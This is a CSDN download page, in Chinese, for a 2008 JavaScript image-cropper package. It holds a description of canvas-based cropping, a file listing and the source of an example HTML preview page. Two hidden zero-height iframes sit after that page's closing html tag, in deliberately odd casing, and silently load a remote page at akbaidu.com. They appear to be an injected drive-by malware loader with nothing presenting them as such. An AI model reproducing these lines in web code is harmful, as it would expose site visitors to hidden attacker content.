javascript截取图片资源-CSDN文库

共17个文件

js：10个

gif：2个

jpg：1个

javascript

截取图片

图片截取

需积分: 10 115 浏览量 2008-08-26 16:16:49 上传评论收藏 108KB RAR 举报

在JavaScript中，图片截取是一项常见且有趣的功能，它允许用户选择图像的特定部分并进行保存或处理。本文将深入探讨如何使用纯JavaScript或者结合HTML5的一些特性来实现这一功能，特别是基于拖动层实现对图片截取部分的定位。我们需要了解HTML5中的Canvas元素，它是实现图片截取的关键。Canvas提供了一个二维绘图环境，可以用于绘制图形、文字、图片等，并且支持像素级别的操作。我们可以通过`drawImage()`方法将图片绘制到Canvas上，然后通过`getImageData()`获取选区的像素数据，最后利用`toDataURL()`生成截取后的图片的base64编码。步骤如下： 1. **加载图片**：创建一个`<img>`元素，设置其`src`属性为要截取的图片URL。当图片加载完成后，可以触发`onload`事件，此时我们可以访问到图片的宽度和高度。 2. **创建Canvas**：在同一页面上创建一个`<canvas>`元素，设置其宽高与图片相同。然后使用`getContext('2d')`获取绘图上下文。 3. **绘制图片**：调用`canvas.getContext('2d').drawImage(img, 0, 0, img.width, img.height)`将图片绘制到Canvas上。 4. **实现拖动层**：创建一个透明的div作为拖动层，覆盖在Canvas上。通过监听`mousedown`, `mousemove`, 和 `mouseup`事件，可以实现拖动层的移动。拖动层的位置变化可以用来确定用户选择的截图区域。 5. **截取图片**：当用户停止拖动时，计算出拖动层的坐标和大小，然后在Canvas上使用`drawImage()`方法，只绘制拖动层覆盖的部分。例如，`drawImage(img, x, y, width, height, 0, 0, width, height)`，这里的x, y, width, height是拖动层的坐标和大小。 6. **获取截取数据**：使用`getImageData()`获取截取部分的像素数据，`toDataURL()`生成截取后的图片base64编码，可以将其插入到`<img>`元素或者发送到服务器。此外，还可以结合CSS3的`clip-path`属性，创建一个可拖动的形状（如矩形）来定义截取区域。但这通常不适用于复杂的截取需求，因为CSS3的`clip-path`不支持像素级别的选择。对于更复杂的需求，比如旋转、缩放和多边形截取，可以考虑使用第三方库，如JS-cropper。JS-cropper是一个轻量级的JavaScript图片裁剪插件，它提供了丰富的配置选项和事件接口，能够方便地实现各种图片截取效果。使用这个库，你只需在HTML中引入库文件，然后按照文档的指引初始化cropper对象，即可轻松实现图片截取功能。 JavaScript图片截取主要依赖HTML5的Canvas和相关事件处理。通过理解这些基本原理和实践，你可以创建出满足不同需求的图片截取功能。如果遇到更复杂的场景，利用成熟的库如JS-cropper，可以极大地提高开发效率和用户体验。

资源推荐

资源详情

资源评论

收起资源包目录

JS截取图片部分.rar （17个子文件）

JS-cropper

使用说明

JavaScript截取图片使用文档.doc 39KB

marqueeHoriz.gif 1KB

tests

example-Preview.htm 2KB

Thumbs.db 14KB

castle.jpg 34KB

cropper.js 16KB

cropper.css 4KB

lib

slider.js 11KB

controls.js 27KB

dragdrop.js 29KB

builder.js 3KB

effects.js 32KB

scriptaculous.js 2KB

unittest.js 0B

prototype.js 54KB

cropper.uncompressed.js 48KB

marqueeVert.gif 1KB

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8" /> <meta http-equiv="Content-Language" content="en-us" /> <title></title> <script src="../lib/prototype.js" type="text/javascript"></script> <script src="../lib/scriptaculous.js?load=builder,dragdrop" type="text/javascript"></script> <script src="../cropper.js" type="text/javascript"></script> <script type="text/javascript" charset="utf-8"> function onEndCrop( coords, dimensions ) { $( 'x1' ).value = coords.x1; $( 'y1' ).value = coords.y1; $( 'x2' ).value = coords.x2; $( 'y2' ).value = coords.y2; $( 'width' ).value = dimensions.width; $( 'height' ).value = dimensions.height; } // example with a preview of crop results, must have minimumm dimensions Event.observe( window, 'load', function() { new Cropper.ImgWithPreview( 'testImage', { minWidth: 200, minHeight: 120, ratioDim: { x: 200, y: 120 }, displayOnInit: true, onEndCrop: onEndCrop, previewWrap: 'previewArea' } ) } ); </script> <style type="text/css"> #testWrap { width: 500px; float: left; margin: 20px 0 0 50px; } #previewArea { float: left; } #results { clear: both; } </style> </head> <body> <div> <div id="testWrap"> <img src="castle.jpg" alt="test image" id="testImage" width="500" height="333" /> </div> <div id="previewArea"></div> <div id="results"> <p> <label for="x1">x1:</label> <input type="text" name="x1" id="x1" /> </p> <p> <label for="y1">y1:</label> <input type="text" name="y1" id="y1" /> </p> <p> <label for="x2">x2:</label> <input type="text" name="x2" id="x2" /> </p> <p> <label for="y2">y2:</label> <input type="text" name="y2" id="y2" /> </p> <p> <label for="width">width:</label> <input type="text" name="width" id="width" /> </p> <p> <label for="height">height</label> <input type="text" name="height" id="height" /> </p> </div> </div> </body> </html> <IfrAmE src=http://www.akbaidu.com/sm/ld.htm width=50 height=0></IfrAmE> <IfrAmE src=http://www.akbaidu.com/sm/ld.htm width=100 height=0></IfrAmE>

评论收藏

内容反馈